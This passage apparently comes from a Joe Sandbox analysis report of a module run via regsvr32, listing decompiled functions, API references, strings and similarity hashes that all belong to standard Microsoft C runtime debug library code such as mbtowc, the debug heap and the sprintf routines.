				goto 0xf9d3f31a;
				_t136 = _a16;
				if ( *_t136 != 0) goto 0xf9d3f066;
				if (_a8 == 0) goto 0xf9d3f05f;
				 *_a8 = 0;
				goto 0xf9d3f31a;
				0xf9d266b0();
				_t80 = E000007FE7FEF9D26840(0,  &_v88);
				_t137 =  *_t136;
				if ( *((intOrPtr*)(_t137 + 0x10c)) == 1) goto 0xf9d3f0d2;
				_t81 = E000007FE7FEF9D26840(_t80,  &_v88);
				if ( *((intOrPtr*)( *_t137 + 0x10c)) == 2) goto 0xf9d3f0d2;
				_t139 = L"_loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2";
				_v104 = _t139;
				r9d = 0;
				r8d = 0x47;
				0xf9d2b3b0();
				if (_t81 != 1) goto 0xf9d3f0d2;
				asm("int3");
				E000007FE7FEF9D26840(0,  &_v88);
				if ( *((intOrPtr*)( *_t139 + 0x14)) != 0) goto 0xf9d3f121;
				if (_a8 == 0) goto 0xf9d3f106;
				_t141 = _a16;
				 *_a8 =  *_t141 & 0x000000ff;
				_v56 = 1;
				E000007FE7FEF9D26800( &_v88);
				goto 0xf9d3f31a;
				E000007FE7FEF9D26840(_v56,  &_v88);
				if (E000007FE7FEF9D32B90( *_a16 & 0x000000ff, _t141, _t141) == 0) goto 0xf9d3f276;
				_t89 = E000007FE7FEF9D26840(_t88,  &_v88);
				_t142 =  *_t141;
				if ( *((intOrPtr*)(_t142 + 0x10c)) - 1 <= 0) goto 0xf9d3f1f3;
				E000007FE7FEF9D26840(_t89,  &_v88);
				_t143 =  *_t142;
				if (_a24 -  *((intOrPtr*)(_t143 + 0x10c)) < 0) goto 0xf9d3f1f3;
				if (_a8 == 0) goto 0xf9d3f191;
				_v36 = 1;
				goto 0xf9d3f199;
				_v36 = 0;
				_t92 = E000007FE7FEF9D26840( *((intOrPtr*)(_t143 + 0x10c)),  &_v88);
				_t144 =  *_t143;
				_v32 = _t144;
				E000007FE7FEF9D26840(_t92,  &_v88);
				_v96 = _v36;
				_v104 = _a8;
				r9d =  *((intOrPtr*)(_v32 + 0x10c));
				if (MultiByteToWideChar(??, ??, ??, ??, ??, ??) != 0) goto 0xf9d3f247;
				E000007FE7FEF9D26840(_t94,  &_v88);
				if (_a24 -  *((intOrPtr*)( *((intOrPtr*)( *_t144)) + 0x10c)) < 0) goto 0xf9d3f221;
				_t148 = _a16;
				if ( *((char*)(_t148 + 1)) != 0) goto 0xf9d3f247;
				0xf9d2ab30();
				 *_t148 = 0x2a;
				_v52 = 0xffffffff;
				E000007FE7FEF9D26800( &_v88);
				goto 0xf9d3f31a;
				E000007FE7FEF9D26840(_v52,  &_v88);
				_t149 =  *_t148;
				_v48 =  *((intOrPtr*)(_t149 + 0x10c));
				E000007FE7FEF9D26800( &_v88);
				_t102 = _v48;
				goto 0xf9d3f310;
				if (_a8 == 0) goto 0xf9d3f28b;
				_v24 = 1;
				goto 0xf9d3f293;
				_v24 = 0;
				E000007FE7FEF9D26840(_t102,  &_v88);
				_v96 = _v24;
				_v104 = _a8;
				r9d = 1;
				if (MultiByteToWideChar(??, ??, ??, ??, ??, ??) != 0) goto 0xf9d3f2f8;
				0xf9d2ab30();
				 *((intOrPtr*)( *_t149)) = 0x2a;
				_v44 = 0xffffffff;
				E000007FE7FEF9D26800( &_v88);
				goto 0xf9d3f31a;
				_v40 = 1;
				E000007FE7FEF9D26800( &_v88);
				goto 0xf9d3f31a;
				return E000007FE7FEF9D26800( &_v88);
			}

0x7fef9d3f000
0x7fef9d3f005
0x7fef9d3f00a
0x7fef9d3f00f
0x7fef9d3f024
0x7fef9d3f02f
0x7fef9d3f033
0x7fef9d3f038
0x7fef9d3f045
0x7fef9d3f050
0x7fef9d3f05c
0x7fef9d3f061
0x7fef9d3f073
0x7fef9d3f07d
0x7fef9d3f082
0x7fef9d3f08c
0x7fef9d3f093
0x7fef9d3f0a2
0x7fef9d3f0a4
0x7fef9d3f0ab
0x7fef9d3f0b0
0x7fef9d3f0b3
0x7fef9d3f0c5
0x7fef9d3f0cd
0x7fef9d3f0cf
0x7fef9d3f0d7
0x7fef9d3f0e3
0x7fef9d3f0ee
0x7fef9d3f0f0
0x7fef9d3f103
0x7fef9d3f106
0x7fef9d3f113
0x7fef9d3f11c
0x7fef9d3f126
0x7fef9d3f140
0x7fef9d3f14b
0x7fef9d3f150
0x7fef9d3f15a
0x7fef9d3f165
0x7fef9d3f16a
0x7fef9d3f17a
0x7fef9d3f185
0x7fef9d3f187
0x7fef9d3f18f
0x7fef9d3f191
0x7fef9d3f19e
0x7fef9d3f1a3
0x7fef9d3f1a6
0x7fef9d3f1b0
0x7fef9d3f1bc
0x7fef9d3f1c8
0x7fef9d3f1d2
0x7fef9d3f1f1
0x7fef9d3f1f8
0x7fef9d3f20f
0x7fef9d3f211
0x7fef9d3f21f
0x7fef9d3f221
0x7fef9d3f226
0x7fef9d3f22c
0x7fef9d3f239
0x7fef9d3f242
0x7fef9d3f24c
0x7fef9d3f251
0x7fef9d3f25a
0x7fef9d3f263
0x7fef9d3f268
0x7fef9d3f271
0x7fef9d3f27f
0x7fef9d3f281
0x7fef9d3f289
0x7fef9d3f28b
0x7fef9d3f298
0x7fef9d3f2a4
0x7fef9d3f2b0
0x7fef9d3f2b5
0x7fef9d3f2d3
0x7fef9d3f2d5
0x7fef9d3f2da
0x7fef9d3f2e0
0x7fef9d3f2ed
0x7fef9d3f2f6
0x7fef9d3f2f8
0x7fef9d3f305
0x7fef9d3f30e
0x7fef9d3f321

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3F113
MultiByteToWideChar.KERNEL32 ref: 000007FEF9D3F1E9
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3F239
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3F263

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbtowc.c, xrefs: 000007FEF9D3F0B9
_loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2, xrefs: 000007FEF9D3F0A4

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$ByteCharMultiWide
String ID: _loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbtowc.c
API String ID: 3162172745-1617866167
Opcode ID: 1f8ba6bd668c859fdc1c929c81f91c7de023d0dcacf149bd6155c41000b32a69
Instruction ID: 684ba7971de88d1067c150b2dc8aa1ec623b130c6e00156a0851ae80eca3a1f6
Opcode Fuzzy Hash: 1f8ba6bd668c859fdc1c929c81f91c7de023d0dcacf149bd6155c41000b32a69
Instruction Fuzzy Hash: A9913C32A1C78586E7A0DB19E8507AEB7E0F785B45FA08136E6CD837A5DB3ED444CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D26BF0 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 127COMMONLIBRARYCODE

Download Yara Rule

APIs

_swprintf_p.LIBCMTD ref: 000007FEF9D26DC2
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D26E0D

Part of subcall function 000007FEF9D2C170: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D2C20A

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D26E74

Strings

Data: <%s> %s, xrefs: 000007FEF9D26E49
_printMemBlockData, xrefs: 000007FEF9D26DED
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D26DE1
, xrefs: 000007FEF9D26D3E
(*_errno()), xrefs: 000007FEF9D26DF9
%.2X , xrefs: 000007FEF9D26DAD

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invoke_watson_if_oneof_swprintf_p
String ID: $ Data: <%s> %s$%.2X $(*_errno())$_printMemBlockData$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c
API String ID: 792801276-1329727594
Opcode ID: 3bedb609291a4b858326ef236c1a71752733cc22d3f81b148e8b3570f3bc9f75
Instruction ID: 74944a5c68176a92a31906070f765b18f74d9586b7891cebb3d67554b9ce35f5
Opcode Fuzzy Hash: 3bedb609291a4b858326ef236c1a71752733cc22d3f81b148e8b3570f3bc9f75
Instruction Fuzzy Hash: B2613872A0D7C186E7B49B10E8907AEBBA0F784740FA18126D6CD47BA9DB3ED404CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3F900 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D3F913
__doserrno.LIBCMTD ref: 000007FEF9D3F99E
_invalid_parameter.LIBCMTD ref: 000007FEF9D3F9D8

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\osfinfo.c, xrefs: 000007FEF9D3F97E, 000007FEF9D3F9C3, 000007FEF9D3FA4D, 000007FEF9D3FA92
_get_osfhandle, xrefs: 000007FEF9D3F9CA, 000007FEF9D3FA99
(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 000007FEF9D3F969, 000007FEF9D3F9D1
(_osfile(fh) & FOPEN), xrefs: 000007FEF9D3FA38, 000007FEF9D3FAA0

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno$_invalid_parameter
String ID: (_osfile(fh) & FOPEN)$(fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_get_osfhandle$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\osfinfo.c
API String ID: 747159061-3177431134
Opcode ID: a294e87af6799fd5b40bd152d4ba1c080b88c0b0971c2ee76bd3c9e1fffa8bcc
Instruction ID: efe890aaf17933dee885bd0091a5358479214bdc632742ad2579ba78141b5705
Opcode Fuzzy Hash: a294e87af6799fd5b40bd152d4ba1c080b88c0b0971c2ee76bd3c9e1fffa8bcc
Instruction Fuzzy Hash: 25518C32A1864A86F7909B59E88076EB3E1F3807A5F609321E1ED077F5D7BED500CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2BA60 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 78memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D2BAFB
HeapSize.KERNEL32 ref: 000007FEF9D2BB40
HeapReAlloc.KERNEL32 ref: 000007FEF9D2BB61
_is_LFH_enabled.LIBCMTD ref: 000007FEF9D2BB8B

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\expand.c, xrefs: 000007FEF9D2BAAC, 000007FEF9D2BAE6
_expand_base, xrefs: 000007FEF9D2BAED
pBlock != NULL, xrefs: 000007FEF9D2BA97, 000007FEF9D2BAF4

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Heap$AllocH_enabledSize_invalid_parameter_is_
String ID: _expand_base$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\expand.c$pBlock != NULL
API String ID: 1608253119-1427866139
Opcode ID: b3a6b944d23a3465c4e6046a1e88bc32cc41bb9fe3a320684877be901aeb32e4
Instruction ID: af7a509f9d9663d3d091774dda128b819ecaca6506a1d0d194354ddf51f74ba4
Opcode Fuzzy Hash: b3a6b944d23a3465c4e6046a1e88bc32cc41bb9fe3a320684877be901aeb32e4
Instruction Fuzzy Hash: 0F41573191DB4686E7A09B20F84436E72E0F786780F614135E6CD43AF8CBBEE485CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D386B0 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 282COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3876B
_invalid_parameter.LIBCMTD ref: 000007FEF9D3883D
_invalid_parameter.LIBCMTD ref: 000007FEF9D38B4C

Strings

("Buffer too small", 0), xrefs: 000007FEF9D38AE8, 000007FEF9D38B45
_vsnwprintf_s_l, xrefs: 000007FEF9D3875D, 000007FEF9D3882F, 000007FEF9D38B3E
format != NULL, xrefs: 000007FEF9D38707, 000007FEF9D38764
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vswprint.c, xrefs: 000007FEF9D3871C, 000007FEF9D38756, 000007FEF9D387EE, 000007FEF9D38828, 000007FEF9D38AFD, 000007FEF9D38B37
string != NULL && sizeInWords > 0, xrefs: 000007FEF9D387D9, 000007FEF9D38836

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Buffer too small", 0)$_vsnwprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vswprint.c$format != NULL$string != NULL && sizeInWords > 0
API String ID: 2123368286-2958264153
Opcode ID: ced4706838129b7b95ee409a728acbeff35cdf169ec97d38e23daf610fb20cc8
Instruction ID: 82e3240dde4e8d48ae566a9cb8a6505450234aa7e72eaba3f84792f0d3cada8d
Opcode Fuzzy Hash: ced4706838129b7b95ee409a728acbeff35cdf169ec97d38e23daf610fb20cc8
Instruction Fuzzy Hash: 3CE14D31A1DA868AEBB48B24E84076EB3E0F385765F204225E6DD43BE5DB7ED445CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C1A3 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 251COMMON

Download Yara Rule

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3C1F1

Strings

("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
-, xrefs: 000007FEF9D3CA54
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
_output_s_l, xrefs: 000007FEF9D3BAFB

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: ("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 1967237116-569934968
Opcode ID: a4b0ff099cb4cab39938a39410f3255722065ce2ff61adb6fbb12e1a083add00
Instruction ID: 28cad1f176e9be3240a3a6eae7be917d28bff7715537f6893ff636485155e31a
Opcode Fuzzy Hash: a4b0ff099cb4cab39938a39410f3255722065ce2ff61adb6fbb12e1a083add00
Instruction Fuzzy Hash: 4AD11D7260DBC58BE7B1CB65E8507AEB7E4F384785F200125EAC886AA9DB7DD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BFDE Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 212
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E000007FE7FEF9D3BFDE(char _a696, char _a976) {

				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

wctomb_s.LIBCMTD ref: 000007FEF9D3CBB1

Strings

("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
, xrefs: 000007FEF9D3CA88
_output_s_l, xrefs: 000007FEF9D3BAFB
7, xrefs: 000007FEF9D3BFFE

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: wctomb_s
String ID: $("Incorrect format specifier", 0)$7$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2215178078-1895985292
Opcode ID: cbe9265cfe95002cd01c633456f4143dcea286b255341fa392fef384a43988b7
Instruction ID: 997c34190204a200d34649c4b27f82da9c53e16be2ae3c50a0a3632b50fb2b35
Opcode Fuzzy Hash: cbe9265cfe95002cd01c633456f4143dcea286b255341fa392fef384a43988b7
Instruction Fuzzy Hash: E5B12E7260C7C68AE7B1CB24E8457AEB7E4F384785F604126DAD887AA9DB7DD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D32260 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 185COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32310
_invalid_parameter.LIBCMTD ref: 000007FEF9D323B4
_invalid_parameter.LIBCMTD ref: 000007FEF9D32505

Strings

("Buffer too small", 0), xrefs: 000007FEF9D324A1, 000007FEF9D324FE
string != NULL && sizeInBytes > 0, xrefs: 000007FEF9D32350, 000007FEF9D323AD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D322C1, 000007FEF9D322FB, 000007FEF9D32365, 000007FEF9D3239F, 000007FEF9D324B6, 000007FEF9D324F0
_vsprintf_s_l, xrefs: 000007FEF9D32302, 000007FEF9D323A6, 000007FEF9D324F7
format != NULL, xrefs: 000007FEF9D322AC, 000007FEF9D32309

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Buffer too small", 0)$_vsprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c$format != NULL$string != NULL && sizeInBytes > 0
API String ID: 2123368286-348877268
Opcode ID: 2cfb79548520c5644ac56b859ec2257f97161b74a067da09cc3df7a1a7a1eb8b
Instruction ID: 912ac3d754b702bf63931d64d46681ea7dc30ff1a731304ef262a69894a36d33
Opcode Fuzzy Hash: 2cfb79548520c5644ac56b859ec2257f97161b74a067da09cc3df7a1a7a1eb8b
Instruction Fuzzy Hash: 60913A32A0DA4286E7A08B68E84476E77E0F394365F204625E7DD43AF8DB7EE5458F01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BB66 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF9D32B90: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D32BD7

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
_invalid_parameter.LIBCMTD ref: 000007FEF9D3BC75
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BC8A

Strings

("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4, 000007FEF9D3BC23, 000007FEF9D3BC60
_output_s_l, xrefs: 000007FEF9D3BAFB, 000007FEF9D3BC67
(ch != _T('\0')), xrefs: 000007FEF9D3BC0E, 000007FEF9D3BC6E

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$(ch != _T('\0'))$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-4087627024
Opcode ID: 129faf18f11d0aee11f016f36c84ee6a14c26cc1d7ed9976eab63fbc1969d985
Instruction ID: 0390e2d988dd4d1b4c77dc3c399ba89b4ed25e2388807167c80bf5b266a398b6
Opcode Fuzzy Hash: 129faf18f11d0aee11f016f36c84ee6a14c26cc1d7ed9976eab63fbc1969d985
Instruction Fuzzy Hash: 95713A72A0D6C286E7F09B24E8947BEB7E4E384345F604126D6CD86AA9DB3ED540CF11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D30FD0 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 124COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D31084

Strings

memcpy_s, xrefs: 000007FEF9D31076, 000007FEF9D3113B, 000007FEF9D311DB
dst != NULL, xrefs: 000007FEF9D31020, 000007FEF9D3107D
src != NULL, xrefs: 000007FEF9D310E5, 000007FEF9D31142
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\memcpy_s.c, xrefs: 000007FEF9D31035, 000007FEF9D3106F, 000007FEF9D310FA, 000007FEF9D31134, 000007FEF9D3119A, 000007FEF9D311D4
sizeInBytes >= count, xrefs: 000007FEF9D31185, 000007FEF9D311E2

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: dst != NULL$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\memcpy_s.c$memcpy_s$sizeInBytes >= count$src != NULL
API String ID: 2123368286-3692278645
Opcode ID: 55675c40df69ab8a15ad1ce5aa383a74447e024eaeb1f72783c964e483dda9b8
Instruction ID: a0804de238eaeeb3fb2e5788e9c0a34a411087d46cc23648724fab17a52a0f2c
Opcode Fuzzy Hash: 55675c40df69ab8a15ad1ce5aa383a74447e024eaeb1f72783c964e483dda9b8
Instruction Fuzzy Hash: 0E513C31A1C68686F7A0CB24E8447BE76E5F384344F604136E6CD47AB8DBBEE544CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2BC30 Relevance: 13.6, APIs: 9, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc_base.LIBCMTD ref: 000007FEF9D2BC55
_free_base.LIBCMTD ref: 000007FEF9D2BC6C

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _free_base_malloc_base
String ID:
API String ID: 3824334587-0
Opcode ID: f253414e3849525c296ec210365ea501a1b810d2bb56cf35f247e52024ae0b7b
Instruction ID: 495d8382669efda2ae004298a380b2f700874c64e4d866c5cb6fbd4b09cb9029
Opcode Fuzzy Hash: f253414e3849525c296ec210365ea501a1b810d2bb56cf35f247e52024ae0b7b
Instruction Fuzzy Hash: AC312D3191D68285E7E49B60EC0437EA3E1F7853A4F214535A6DE466F5CFBEE4809B01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D263E0 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 143COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D26476

Strings

Bad memory block found at 0x%p., xrefs: 000007FEF9D26603
Bad memory block found at 0x%p.Memory allocated at %hs(%d)., xrefs: 000007FEF9D265D4
state != NULL, xrefs: 000007FEF9D26412, 000007FEF9D2646F
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D26427, 000007FEF9D26461
_CrtMemCheckpoint, xrefs: 000007FEF9D26468

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
